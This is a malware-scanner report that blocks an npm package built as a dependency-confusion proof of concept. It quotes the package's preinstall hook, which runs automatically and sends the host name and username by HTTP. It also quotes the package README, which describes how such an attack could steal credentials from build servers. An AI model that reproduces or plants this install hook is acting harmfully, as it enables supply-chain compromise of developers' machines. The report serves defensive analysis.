Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. An npm preinstall hook automatically executes code during installation. It collects host and account identifiers and makes an HTTP request as part of an explicitly dependency-confusion-oriented package. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 96.0% - **Started:** 2026-09-27T07:04:55.268Z - **Finished:** 2026-09-27T07:05:37.535Z - **Download time:** 507 ms - **Static scan time:** 8 ms - **AI review time:** 41751 ms - **Total time:** 42267 ms The recorded confidence comes from the underlying analysis.

It collects host and account identifiers and makes an HTTP request as part of an explicitly dependency-confusion-oriented package. - **Trigger:** Installing the package causes npm to run its preinstall lifecycle hook. - **Impact:** A dependency-confusion resolution can execute package-controlled code in the consumer build environment and disclose basic machine identity to a locally reachable listener. - **Evidence paths:** package.json, index.js, README.md - **Review source:** ai\_review - **Reviewed:** 2026-09-27T07:05:37.535Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The hook uses inline Node code to obtain operating-system identifiers and sends them in an HTTP query to a loopback endpoint. - **Attack narrative:** The package is positioned for dependency confusion and has an active install-time payload. On installation, it collects the build host name and account name and sends an HTTP request to a loopback listener. Even though the package text calls this a proof of concept, that text is not evidence of consent or safety; the automatic lifecycle execution is concrete supply-chain abuse. - **Rationale:** This package contains an active preinstall payload intended to run when a dependency-confusion target installs it. The automatic collection and network action make this a blockable install-hook abuse case. - **Files touched:** package.json, index.js, README.md - **Network endpoints:** http://127.0.0.1:8099/ ### Review decision - **Verdict:** Malicious - **Confidence:** 96.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The manifest runs an automatic preinstall command that reads the host name and local account name, then sends them by HTTP., The runtime entry identifies the package as loaded from the public registry in a dependency-confusion context., The README describes a private-registry resolution scenario where the preinstall hook executes on a build server; its self-justification does not neutralize the active lifecycle payload. - **Evidence against:** The only configured endpoint is loopback, so static inspection does not show direct transmission to an external host., No destructive command or credential-file collection was found in the small package. ## Affected versions and remediation This report applies to @rutxploit-sec/subsplash-canny@1.0.0. - Avoid installing @rutxploit-sec/subsplash-canny@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+e... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+e... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 5. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** package.json\#scripts.preinstall - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```text stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1 ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 96.0% - **Path:** package.json - **Public source:** [View source]() The manifest runs an automatic preinstall command that reads the host name and local account name, then sends them by HTTP. Public source snippet (untrusted): ```json "main": "index.js", "scripts": { "preinstall": "node -e \"var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});\" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/canny dep confusion EXECUTED — rutxploit'" }, "author": ``` ### 7. High: Suspicious Dependency Evidence - **Category:** Dependency - **Confidence:** 96.0% - **Path:** index.js - **Public source:** [View source]() The runtime entry identifies the package as loaded from the public registry in a dependency-confusion context. Public source snippet (untrusted): ```javascript var os=require("os"); console.log("[DEP-CONFUSION] @subsplash/canny loaded from PUBLIC npm"); module.exports={}; ``` ### 8. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 96.0% - **Path:** README.md - **Public source:** [View source]() The README describes a private-registry resolution scenario where the preinstall hook executes on a build server; its self-justification does not neutralize the active lifecycle payload. Public source snippet (untrusted): ```markdown ## How the attack works If Subsplash's CI/CD `npm install` resolves `@subsplash/canny` from the public registry (instead of their private registry), the `preinstall` script runs on their build server. A real attacker would use this for RCE: steal AWS credentials, deploy keys, source code. ## This PoC is safe This package only logs a message and sends a benign HTTP ping to a researcher-controlled server as proof of ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @rutxploit-sec/subsplash-canny - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** ISC - **Version published:** 2026-09-27T07:03:22.382Z - **Package first seen:** 2026-09-27T07:05:37.535Z - **Package last seen:** 2026-09-27T07:05:37.535Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** BUGBOUNTY PoC — represents @subsplash/canny — @subsplash/canny (2 refs) — Subsplash report 7a8faa0b - **Author:** rutxploit-sec - **Artifact files:** 3 - **Artifact unpacked size:** 1,925 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()
